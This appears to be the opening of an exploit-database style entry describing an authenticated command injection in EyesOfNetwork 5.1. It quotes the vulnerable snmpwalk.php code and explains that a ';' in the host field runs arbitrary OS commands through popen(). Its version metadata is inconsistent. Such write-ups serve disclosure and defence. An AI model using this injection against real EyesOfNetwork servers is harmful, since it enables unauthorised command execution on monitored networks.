# Exploit Title: EyesOfNetwork 5.1 - Authenticated Remote Command Execution

# Google Dork: N/A

# Version: 5.1 < 5.0

# Tested on: Windows 10

# CVE : N/A

#About The Product:

''' EyesOfNetwork ("EON") is the OpenSource solution combining a pragmatic usage of ITIL processes and a technological interface allowing their workaday application.

EyesOfNetwork Supervision is the first brick of a range of products targeting to assist IT managment and gouvernance.

EyesOfNetwork Supervision provides event management, availability, problems and capacity.

#Technical Analysis:

EyesOfNetwork allows Remote Command Execution via shell metacharacters in the module/tool_all/ host field.

By looking into tools/snmpwalk.php we will find the vulnerable part of code:

else{

$command = "snmpwalk -c $snmp_community -v $snmp_version $host_name";

}

in this line we can see as the attacker who control the value of "$host_name" variable .

And after that we have the magic function "popen" in the next part of code.

$handle = popen($command,'r');

echo "<p>";<br />

while($read = fread($handle,100)){

echo nl2br($read);

flush();

}

pclose($handle);

And now we can see the use of "popen" function that execute the $command's value and if we set a shell metacharacters ";" in the end of the command we will be able to execute OS command.'''
